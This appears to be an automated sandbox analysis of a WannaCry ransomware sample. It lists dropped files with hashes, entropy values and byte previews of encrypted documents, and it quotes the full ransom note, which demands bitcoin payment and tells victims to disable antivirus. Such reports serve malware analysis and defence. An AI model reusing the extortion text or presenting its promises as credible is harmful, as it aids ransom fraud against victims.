                                    Preview:WANACRY!....E..VI.4.../....[...v.d..f<Q).q.e..r.+...lX......I.<..e...<..=..1.gae.......dk6w.O..J.n.b&Z...{.*.W....\0.....c}..A.:.g).F..~.U.,..|.v....t....@&...3.?>...>.J.......h..4.f.....&.!I..?.#.=S>.z....d../.2c.Gr?u...Z..w.m4..~kS...6..5..6.e.#....................l.....2.+h-..]9v..,[.W[.18...........u[!..2..P......H...nP....[......w..0V....i..K.K..".7R4..2G.e. ...k..k.).4..Xn.-ccDM.S.@.nV.5....t,.@...v...y.|.6....)..~'...D...P.]..|.....h..Mxn......_.L~..Iq...#...6..n)w..k....s..p.4./.nIx...+..|.`*.C....m.Y......*'.%..._..;.q......2..#.'"..T....{.da.."4.{y}I1@,>..*)R8wC..H...).8..t.n].....8m$...eRWO......y...~t...L.......b..(...0..'AQ.$..SV,...s.z...z.>]..T..2.@.......\.c.n.L.tA0{.F...d...#.v.........}Kd.{..(KR....s..5......Z..c..\....Q...r.i.%..G.."h.Ij.m.uX.3+.>.xbEe.}m.M.M...X.o.\.7..\...J...{..r.....e/1K..G.....>...Lo.I#:......dd..u..n....:...'H..wt..uY.<$.B._../-....s*.2.>O.Bq._.......W.../.t..Nv.Z.....$afA........c*.4L^.x.....X.&.

                                    C:\Users\user\Documents\WHZAGPPPLA.mp3

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.788575914613461
                                    Encrypted:false
                                    SSDEEP:24:aUJGrmU/1Focy4Rl0wIRSyiz+qNNvqyoRwYL:3JGJfy4RlZIIrSYmWm
                                    MD5:1ABEF5528CC92B9E8AAEC5060CBACDBF
                                    SHA1:D624151CDD8D13B7D19848322089FB4647461EC1
                                    SHA-256:FC0FFBA6EB798E286D2A8E9C58F820DCF61D9FEAF2D4422AC6DBBD54608813D6
                                    SHA-512:6556A82019779C7F854F96A0DCD806C7BD4618D7FDFCA93A7550EF604E4C5AC53D6AAB84BC6EB1A895BC3219D43640B60D57211B02C32AF7D82B7F07E448181A
                                    Malicious:false
                                    Preview:THmB...K...a...p..d..u.J...2\.V..r...z/.8..][.KG. ...y..l)e.u[......*.E.E..=..Yk.Gk.>..&."...<...X...P...@I$..k.G.],s~C..4..y..O0.*.N....d.gy...Uc.q[g.q[P..1.;L.7<.@..P..0.0n......,.....B..v.i..d..f.I.u-.8(..M6.~.....$..Q.J.y~.....T.~..a...`P..;.5.DNq...,@b|6...8B&..Lu....1...+.n..f..|.l....L.r.B....!.y...x...%.U........<.."#.A.lrHV..O..T.|y.N..........xd.0.`o..+{...trY.....0j..4......U.m.U..YL.Wd.oKo~.p.w].#`?..!.!o.2-./<\6.]HM...........0......\..u.7=....M......3y1.58z=^C..4.....d......,6.(...g..Ej..D?...c,_M.m....n.Vp..[%B._.N.......(...@^L..M.i.........f9.........Jy......}..N.8.N&.z.u.1..X.P?..M.......|....zg...6j.....m...9)j%.J.(NL.k...qG"..A..S..)...0F..T.`....f.T[d..=.I.{.....K.dtrG.=F.......:..f.2.v...{;]~wP6..9...F3N>.O.i...k...!.i....d..p....B....a.......*..0.i.....H.1k..J.-...=\t...]m..&...|_v5...f+....6.@*.....f........x.<R.N.gU+pe.U.7.....5.....Z1|0..>w..6..tM.n..F..-.L..p..d......%.0.;.Q..].Z.J.....l.[|G...h....."...

                                    C:\Users\user\Documents\WHZAGPPPLA.mp3.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.848547404021525
                                    Encrypted:false
                                    SSDEEP:24:bkW/Glco+rdhljymbLSUYLdHuHGGLJiEsgD8B8yiKiD9w6Mrw0p2SLvWl8S:bkWbxh6LdHSx88M40pNLvFS
                                    MD5:BFB83BD087DA393A4654BC60F408AB87
                                    SHA1:2E781769BD8E08746702B8E3C8C85C7504010546
                                    SHA-256:A13CE50E61F092225ECFDD88E20337844A8062DFF7B9F61BCD3E33701C150D4D
                                    SHA-512:FD8C5AC5721DD977F7551247018140E2E4AD01138637983E43B3EEFBE8F2814BD9B8092D53C5D1CB9E5A13BCE0B07864A031BD88ED04B0E65509731869278085
                                    Malicious:false
                                    Preview:WANACRY!.....T.%.!.:....r.IUUUg..1,i3........k65cJk;Z*d.....Wq....X.(....n.\&[5..I.Qm.x&:.....v+..h..t..Un....}f..X+.H.2....~..*2E..D.i.\. k+7Ga...#...{K.db;.0..]...........&..wa..'i.Z.....x..........%,.:.....%5.=..r.bV.".t..i...^.P.../..h..s.W.t....R...d..S.......................q.....K..2....B.....d!'..~.+T5..x..q....!NK.......y.....|0...[....~..Ac.y..B;LW.-$Yn.....Vo..'.H+.O..';...-j.:.7x<w..7Fv..2.B!..eq..;...F.....V...=..9..)..+VX.}.Z....^...........a...-e}uJ..~.?z.K[K.....[.O.*.x.&........l.OZ...#.k@...7.VH.M.D.iARPjy..j...&..9I..!0....*V.b....z......e85 ...R1.b.e..qL{=...U.4._.L.U.0...DD..:..Z...*#a..!..^h@lo...W.s......9a).b+.@0/.U......k.$j2C.......y..x....%.........HL...a.....5@S+....W.....>5L....#...|.....&..uP4....<...W}%9.m...P;.Si.o,H..o6...CT..uW...I..].Vb.}.7<.x..9vVX....m....q..d....X'.....I.@oQh....M.(....~?...-N....zj.F.....2]....*....@n.......w.....U.H%..,F...../...*....../y...Z.....%....1..Z..LP".....$b.......(kc(.

                                    C:\Users\user\Documents\WHZAGPPPLA.mp3.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.848547404021525
                                    Encrypted:false
                                    SSDEEP:24:bkW/Glco+rdhljymbLSUYLdHuHGGLJiEsgD8B8yiKiD9w6Mrw0p2SLvWl8S:bkWbxh6LdHSx88M40pNLvFS
                                    MD5:BFB83BD087DA393A4654BC60F408AB87
                                    SHA1:2E781769BD8E08746702B8E3C8C85C7504010546
                                    SHA-256:A13CE50E61F092225ECFDD88E20337844A8062DFF7B9F61BCD3E33701C150D4D
                                    SHA-512:FD8C5AC5721DD977F7551247018140E2E4AD01138637983E43B3EEFBE8F2814BD9B8092D53C5D1CB9E5A13BCE0B07864A031BD88ED04B0E65509731869278085
                                    Malicious:false
                                    Preview:WANACRY!.....T.%.!.:....r.IUUUg..1,i3........k65cJk;Z*d.....Wq....X.(....n.\&[5..I.Qm.x&:.....v+..h..t..Un....}f..X+.H.2....~..*2E..D.i.\. k+7Ga...#...{K.db;.0..]...........&..wa..'i.Z.....x..........%,.:.....%5.=..r.bV.".t..i...^.P.../..h..s.W.t....R...d..S.......................q.....K..2....B.....d!'..~.+T5..x..q....!NK.......y.....|0...[....~..Ac.y..B;LW.-$Yn.....Vo..'.H+.O..';...-j.:.7x<w..7Fv..2.B!..eq..;...F.....V...=..9..)..+VX.}.Z....^...........a...-e}uJ..~.?z.K[K.....[.O.*.x.&........l.OZ...#.k@...7.VH.M.D.iARPjy..j...&..9I..!0....*V.b....z......e85 ...R1.b.e..qL{=...U.4._.L.U.0...DD..:..Z...*#a..!..^h@lo...W.s......9a).b+.@0/.U......k.$j2C.......y..x....%.........HL...a.....5@S+....W.....>5L....#...|.....&..uP4....<...W}%9.m...P;.Si.o,H..o6...CT..uW...I..].Vb.}.7<.x..9vVX....m....q..d....X'.....I.@oQh....M.(....~?...-N....zj.F.....2]....*....@n.......w.....U.H%..,F...../...*....../y...Z.....%....1..Z..LP".....$b.......(kc(.

                                    C:\Users\user\Documents\WSHEJMDVQC.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.814394847357781
                                    Encrypted:false
                                    SSDEEP:24:W6eoZKcB1mWCTdRpEhWdzXymx0naf+Zf0SJlVw/QGYv1hW2ewIPAp:W6eo8cqWCT1JDx0jDlGYv1w24op
                                    MD5:77AC73E63849ED607C3DECBF2CA9E169
                                    SHA1:9752BDC9F294464BB6DB3E9FE9E05955FF61DADE
                                    SHA-256:DC9B254E0FFBF089FC73269CD724F683046265D3EE1D9DE8B966E3E7992F0549
                                    SHA-512:68A6F2C17F946E7D8590EBC2DC19D0CC0F860C01946CFBA18A39B84377A91A6CA01FA396539DC76A045F163B3F360F6C57ADB2AAD70F88894D0D178232B60897
                                    Malicious:false
                                    Preview:`.....I...J,E..1.........p!..<..8V=b..'.sy.3gZ$...o.7.L.GF=.:.p. f.H.a.$9.2.$..E.=......+...3.8...e.z.:.0GZ$...9j.<z...xD....;.t.....cg.d....l..T.....5k.........P......G.........).....eM`.z{.b^......n.&.0....Qc...b ....|..;h>....F.H]Q`...r&....Z....R..7...^....C.Z>$."9.K.....ri:..M~e(`..4...Y..cy....o\6_~9.fQ...@Um....BVy.............}..i..10HJ...........s.X....f....?.9...a..@L....MH...,TW._..9a5...B(...@....I.......-..N..._{.$.)...I3&..._.....L..[..<.... .T..../.._.=U%.V3....M.|6T[.........O........h.....xjY.)..+....H....4..."<.............).O$"M.'+]d..S;..~Qz.->...I.....L.`y......?.8j.k...q.y...#.6.B\.I.'p.T..V.....A+v..S2{.!..K....3..%.^..3F..e...*8z........0Fi..l.}X$N..#.2.J.(P.!..}.<.`..M.gp.xz.eR.....D)8Q......z.]o.`R..]}wc....%Pr..).;E._..k.'..U.........5..f.x.I......&.4.`....U?.z..|'.a.}.l..>).>...2..c#\.~.-.......J.....vc;..y.G....7....m.....h..Q... I.....XgA.........qdk9|....)..y.\.#}&.B.Q...h..........R.~...n.r..1<`.....T

                                    C:\Users\user\Documents\WSHEJMDVQC.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.855632879323982
                                    Encrypted:false
                                    SSDEEP:24:bkajWvIZMZP9tbtMcXGztWUBhqvRBYloSo0pjhHkQ/1CxyHc:bkajWvcMfbrWzz8alO+jhH91RHc
                                    MD5:E03D0939BBAE4C1B4EA71667B1F003C9
                                    SHA1:4989B62B11958548C17BF65F133815BCF7987FC2
                                    SHA-256:2F9E257EDD1C64B453294A1DC4C91542DB0CDA7267DE001AB506B3E957DEAE6E
                                    SHA-512:18CB3CA4C6255EAF7934C2657E8D78BD92DC6E1C5A8081A11444A4DBE755D9637BB92597A67DF995033F573461A161DD5EF0E44CE5DFA5944C2984303656CFA3
                                    Malicious:false
                                    Preview:WANACRY!.....'.L633c.R....[....>5....&{..W..-`|od.X...'....d.GpU....$p...1.h.p..I+U.R."i.:..a.'...A......mDe..p.._*.8..=<..f.JR..|'..(PI.f...... ...)..xr.q..*y.T...C7.....).."..*T........vO.'.... w...I...TQ6.....+?.7...U.......a.?..C..{=S..R...5..w....................g...a.v...t..6...b.%..M(.}d....W..<_.K.j..+.w...Z...]......[b..S.".^..<.........lh......t..........E......Q....w=.......0!.A."...i...........R......zw.......0.1..hAXd...l ..8.T<h.#....B?q.I....].} .]....L..es...T.MVJ...-...HD.-.93.Po...\Z...-......`..a..m.......z..8...'.-R..B..2.@.R4.G."..:.....C...RB....U._.....#..^3.A.WK.%....g......kUhx..X.&?..9\jf....2.m.2;.k....p.Ks..../.=.....].Cg..+..M.Y.<1.....z.......|F.E.b.&.....=....S.ut..i.o..b&.......F.6~.....T...F/+PV.....X%.G}..+..lN...Mbgp...1.&'.U.!...j..e.Z5.,.~Y8.b/..].D)E0.I..2i>?...4.+.O..U. [[.. ...\.[8.\...<...q..'.....yjZ?...f.t...G.6..Mk8..................-.A.Y.z.....hOy2.........X..t|.....n.|*..hp.%`...

                                    C:\Users\user\Documents\WSHEJMDVQC.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.855632879323982
                                    Encrypted:false
                                    SSDEEP:24:bkajWvIZMZP9tbtMcXGztWUBhqvRBYloSo0pjhHkQ/1CxyHc:bkajWvcMfbrWzz8alO+jhH91RHc
                                    MD5:E03D0939BBAE4C1B4EA71667B1F003C9
                                    SHA1:4989B62B11958548C17BF65F133815BCF7987FC2
                                    SHA-256:2F9E257EDD1C64B453294A1DC4C91542DB0CDA7267DE001AB506B3E957DEAE6E
                                    SHA-512:18CB3CA4C6255EAF7934C2657E8D78BD92DC6E1C5A8081A11444A4DBE755D9637BB92597A67DF995033F573461A161DD5EF0E44CE5DFA5944C2984303656CFA3
                                    Malicious:false
                                    Preview:WANACRY!.....'.L633c.R....[....>5....&{..W..-`|od.X...'....d.GpU....$p...1.h.p..I+U.R."i.:..a.'...A......mDe..p.._*.8..=<..f.JR..|'..(PI.f...... ...)..xr.q..*y.T...C7.....).."..*T........vO.'.... w...I...TQ6.....+?.7...U.......a.?..C..{=S..R...5..w....................g...a.v...t..6...b.%..M(.}d....W..<_.K.j..+.w...Z...]......[b..S.".^..<.........lh......t..........E......Q....w=.......0!.A."...i...........R......zw.......0.1..hAXd...l ..8.T<h.#....B?q.I....].} .]....L..es...T.MVJ...-...HD.-.93.Po...\Z...-......`..a..m.......z..8...'.-R..B..2.@.R4.G."..:.....C...RB....U._.....#..^3.A.WK.%....g......kUhx..X.&?..9\jf....2.m.2;.k....p.Ks..../.=.....].Cg..+..M.Y.<1.....z.......|F.E.b.&.....=....S.ut..i.o..b&.......F.6~.....T...F/+PV.....X%.G}..+..lN...Mbgp...1.&'.U.!...j..e.Z5.,.~Y8.b/..].D)E0.I..2i>?...4.+.O..U. [[.. ...\.[8.\...<...q..'.....yjZ?...f.t...G.6..Mk8..................-.A.Y.z.....hOy2.........X..t|.....n.|*..hp.%`...

                                    C:\Users\user\Documents\WSHEJMDVQC.xlsx

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.815778542430559
                                    Encrypted:false
                                    SSDEEP:24:a97pBw0ymGEMR9vEvcC7ugpf9lAjzkw7k5m5p:aF27E83C7Npfa1k50p
                                    MD5:125ABD0B14EC8789DBD5059CB888D84B
                                    SHA1:C88B02E4F8940D76AAA259112F3C995587D10947
                                    SHA-256:73EEEAEA791C45C1617BBE19BA348DD73E422188FCAFB050991DBC81F245CD04
                                    SHA-512:1D3A4D3262B7F76047C75165D03C75424681D8E6FFC0618F543E815D9AB706C58E3CF3F30B4E8723A2A0F3951561B82B91BFDB5BD03E5D4285B105DEBC2E95DB
                                    Malicious:false
                                    Preview:.".j..E.Ih.@.c...ot:.Y8o.O....1.>s.f%I<... ..;;.w..c.0X..a.P..._.C..'.K.y.fpe0.......e..L..g.*.f?5.k?.~..y..%..#.....60..V.........#p..*L...?.....\q...m7,...l...y..q.=..1t....s..g....mj.....,...$.L.... w...1..g%.C... ..p.=UF.kh......N.........L.[{.)..wx...P......y....1.K.q.!........n.r_.:q......,z..0n.....d..s..w'F.R.....k7...qF..-$.......A..%aAD..l...Y.},.....3...@..&+..[.I.....P..E.v...v.:..Tb.H`....PL.j...uO$...*...G.G5tB.&F..e.(...h.d-..CP......8.........,=.r.t..Y}...,.2...s......V.i8."\$r.s.._...4KkfwXk..r..zB...c.P>.\9.o...uu X`.V.....t.g zC..A .@..xKmN..+.....Z.7..gS..b..:.y..g..X..8..9t..dXen:....YRk.g...c.Q....B..`@.&...}.|....*....8 P.mVx.........>...7*._.\...7..~8M.D...*s?..%..u.}c..0...N.8..2......!.m.......2xf~.].$...!...;......+s..4.;[..I...I T`..2....>.g.r...(..Nvf.....hW.*..9+F.]...P$G_...../<g`?<.F.o,...wm.vR.....7.....b.....C.=z......UU6..r.hC.-.%.|z...r.N.{...89.....&.. ..#+...A.xUL.W..Oas&dV....c..m.m.....EG.Y....l'..?%...913.

                                    C:\Users\user\Documents\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.873814813943992
                                    Encrypted:false
                                    SSDEEP:24:bk3FZAdsxcSDSWDg6xvBEAEwIyK0jFqff2qnptsx:bk8dsnDSW8sHiBe
                                    MD5:99B71252F66D9FA5A59FA05D26D30CA5
                                    SHA1:9AA4797D9494284BAC8840297B38482F27E740CC
                                    SHA-256:520FAEF3851CEF35FFCC94B2B2E5BA60E1FA9D5C8E13F7DD489D74DB185183C2
                                    SHA-512:4A1635F72A630E6BA100268EFA700820BFD4FEB36ABC64A17083E798BA0022B0C3503CC21F40628BE91E6534C7EB4F8FD03D53913C88469C21733857E61A168F
                                    Malicious:false
                                    Preview:WANACRY!.......{q....N....|.f....EaE...>...R`..;.Q)...*..Q}.c...,l.+...e..m...J.m.?..#....?....D...4M.....7..Wq~...i.>.D,..[;...P+H.T5.........tw..5.T....K.R..&.e...X....^.=...6..A......._....V?.^fa......7..{.....b.V..g.2].."..*l=.a..b..P....@.B.0s..%(.............\..xe..F../p..^.D.vUQ.KK....B..Q-..PpG..){ ).m...-P.L.........N.=.....Z...W.........q.....8{.c.\..Y..>._...?.V@k..,!m.L....@...".J..!t..0~......Dlb.....J..y6..~...,#.W..p|.f\..q.eS...C.26..Z6m...Y....h..H._z..._9...D..6.4..).I[..*C...y9..[.jU..!..7........,W.|(\W..0....qi.i.h.1!vf....$.4..u.i..Pn~<.l...*.|B:..:..m..g,.G&S>7b.M..[+.].F~..6..A1....?..y..9..^....j..x...o.....j......y...<G:U...'*...4.O..."S....r.!.}`'. A:%L...4..B..M!v.....iy.c..._..`.M..*N..9...^H....W.P,.5L\..g.x......p.i.`.h._.sc.%02;A5P..........1N...0...P.w...........R8..bH.t...[/o.N/Y.......Z,...D..i&.....6..B9..y9..(.rKC....H]....zQ.<.....r).d....G.|._..n.'...,...*..j:.....9.9..:...1.....DC.#..{.l.$.h..

                                    C:\Users\user\Documents\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.873814813943992
                                    Encrypted:false
                                    SSDEEP:24:bk3FZAdsxcSDSWDg6xvBEAEwIyK0jFqff2qnptsx:bk8dsnDSW8sHiBe
                                    MD5:99B71252F66D9FA5A59FA05D26D30CA5
                                    SHA1:9AA4797D9494284BAC8840297B38482F27E740CC
                                    SHA-256:520FAEF3851CEF35FFCC94B2B2E5BA60E1FA9D5C8E13F7DD489D74DB185183C2
                                    SHA-512:4A1635F72A630E6BA100268EFA700820BFD4FEB36ABC64A17083E798BA0022B0C3503CC21F40628BE91E6534C7EB4F8FD03D53913C88469C21733857E61A168F
                                    Malicious:false
                                    Preview:WANACRY!.......{q....N....|.f....EaE...>...R`..;.Q)...*..Q}.c...,l.+...e..m...J.m.?..#....?....D...4M.....7..Wq~...i.>.D,..[;...P+H.T5.........tw..5.T....K.R..&.e...X....^.=...6..A......._....V?.^fa......7..{.....b.V..g.2].."..*l=.a..b..P....@.B.0s..%(.............\..xe..F../p..^.D.vUQ.KK....B..Q-..PpG..){ ).m...-P.L.........N.=.....Z...W.........q.....8{.c.\..Y..>._...?.V@k..,!m.L....@...".J..!t..0~......Dlb.....J..y6..~...,#.W..p|.f\..q.eS...C.26..Z6m...Y....h..H._z..._9...D..6.4..).I[..*C...y9..[.jU..!..7........,W.|(\W..0....qi.i.h.1!vf....$.4..u.i..Pn~<.l...*.|B:..:..m..g,.G&S>7b.M..[+.].F~..6..A1....?..y..9..^....j..x...o.....j......y...<G:U...'*...4.O..."S....r.!.}`'. A:%L...4..B..M!v.....iy.c..._..`.M..*N..9...^H....W.P,.5L\..g.x......p.i.`.h._.sc.%02;A5P..........1N...0...P.w...........R8..bH.t...[/o.N/Y.......Z,...D..i&.....6..B9..y9..(.rKC....H]....zQ.<.....r).d....G.|._..n.'...,...*..j:.....9.9..:...1.....DC.#..{.l.$.h..

                                    C:\Users\user\Downloads\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\user\Downloads\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\Downloads\AQRFEVRTGL.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.862022389722758
                                    Encrypted:false
                                    SSDEEP:24:bkeSvB0UEcZNxKMdNvlAbhKAZ/ul7LCJ5l2OEaYFifnaXGilhAQmfA74dCd4u0SS:bkiEN0MdNvlA0AZ2pwMOEaNC2iPAzxd5
                                    MD5:9BED02BB3BA57CE4109D65BBB00A2A51
                                    SHA1:FE343F1291D4E07248EFF0380F17CAA253837162
                                    SHA-256:2FD62D273AF2597A4F4E9E111163AA6D48EA48C1799F5C03FBE32904BDB517BD
                                    SHA-512:6DD690F9DC63EA25B6C8A0198C7F511D4899E664B7CE19EFD8490F9B7D4FC50918D976C4C64806072B0025AD618050EF569BDD3252A07ECAD87F3BAC1F04906E
                                    Malicious:false
                                    Preview:WANACRY!.....eF....".\3or.I..s..:95. <...x.<~...e.FNL.$N.s..n|9"....2...............y...n........6!8.zT....f.E....<...s}..|.....T.5.?.sI.....Z|8X...@f...x.......... ...p...@.Y.J.X...d..........*..P......h2.....4*.Ts.R{!"....i.@...H.....<TPu%dT.M...(.O)@....'.............@.....o..Xye<.\..&~5.Kt.l..=@(x\i.....Rn.....2\.....?.Kb0.&...j...h.....c.O....P4O#....._...).......v.q\.B....s....v|..o.,\.j,..r..(.g.`R.N.....dp~.~|\....4F.`...........(\p..-..l+.Q.Lb.&.B4U..O.. ..\&..H..y.......C...h...s.s<..A;.^..(_S.O>{.X...k.l..9..0...M/.c...m.J..+.-.........(..-..u.d..WW.x...A.06.u..[M....$7.....om....-i}..2J..@6.W;...+v/-.....B..$<..w.&..Me.l.q.R.Tp.JA.....[=/..~>......zV.C.\.y&E;..>.[...C.r..s..8.t.lV.... ..L..^At..W.E...x/#c...g#..J....}..........s..K.Q..lq..k!fJ...?L...DV..^..84.V...)Bm-....J..I..1..mTZ......)i^s.[7.RLf.P*.S.....H.*...c.T........!..b:...M...$..p+....(.V.C..0...[.W|.......Q.GY.$...>UMB.k`X....J....P}...`.G.KLY....L0!M.w.SC#0...C.F.

                                    C:\Users\user\Downloads\AQRFEVRTGL.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.85009606771765
                                    Encrypted:false
                                    SSDEEP:24:bkLiPmsIkOtVDPYyjEiiYLJVuKReEJRVcjqG3RKYttdrt4w6G/O8Mb:bkSIdVDNDtJvfCmXqtdrt4zGhMb
                                    MD5:B7E6FC0EAB2A230FEDBA67800EE996AA
                                    SHA1:31E19CD8D0332A4BC29B979B7486A09F4C5FBA4C
                                    SHA-256:65DEE07CF9D73DF3931A516BE529C98DE53636B659855224181E71102F026B10
                                    SHA-512:BA1908B2D9397AFC02B75222AD1C3716F99F32F07BD4A7795DE7B5F2EC2E90CFC53641FA69B988AA7F922CF0A83D04B69C3D66834D43147EE57908C014D79820
                                    Malicious:false
                                    Preview:WANACRY!.......&y....C..........QQ.m!Q%q..^..Q.4....\. }2}6E.r........./..g)...........k.Q.&..1..Y...O.).M7f...KH.>iuuy,...%.?.e..g.yU!.=G.6A..0]C.....*..Y-......M.o.kcN.r......B.r..........]?.tZ` ..k....H..#G.t.T..=....U.D.g*./..._..gu....d.(.OWr.E.~1Q.............&`......e..H....6(....6...@.....f.R+.)&...i.xH..5..m.S..........".%%5.\f.".Rk.iN..,.O..Ht~..y....p5....3.~lsP3.....K.4....K..$#...J..........W....~<.*......$w.D....O.s.oikQ.)k.\.X..)Xt.~....<..^d=...1.E4...\k.G....L.......y.6..G.........t..b.`.d.....t.....[..u#.*].p...Vk.....r....9..U..c.....c.p......n.+>....;(.Y..{...>*.W.R......4.g.....F..&h....!..5..|~...S.0.Dzha...3K.].i.V..I.?.D..a.L^I.2Y.DO.a?.....'Fu..P.*B.tDBl.j.K r..X...Tr>P..7..g'......t....4f,@."...P.^w..z.ki1.z.~p......w...Q....!.v.=...7..i.......9z.;...M.P...}0m...".;...5..yp....|......CM....v..o./...(.D........e.....u...Jf.d.q)N4.m.{'i.a.G.M9EY....\k..M.Y$g..H.-.l..e...gM.....pl....8.F('.m.1..P.%.R`.#..x..#.

                                    C:\Users\user\Downloads\BXAJUJAOEO.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.859554093032747
                                    Encrypted:false
                                    SSDEEP:24:bknJ7mvuJh/LfUVB8rHbK4dDpovMOxYHzdFyKf/s6NUKrGFEb4a7s:bkJ7yuJJLrHbKqeEOxYHzdq6CKKFED7s
                                    MD5:4151F77D68DC76E8AA9E099FC2BECE75
                                    SHA1:B5E6A293FC842D94E7E453539BB972779DE8F085
                                    SHA-256:1FCDD4245CD4A76ECC348E1DDC94A85D839B6B3888B8405FDC4D17D669F658F9
                                    SHA-512:429094F3DA30AC4E346FC43952C0299B766B24FA01D3BF9ACA6473526F57B6DF44BFF3DB4832A9419CA10D770C0C0707E2041D733B52F30D2FB6BA0B62138EE5
                                    Malicious:false
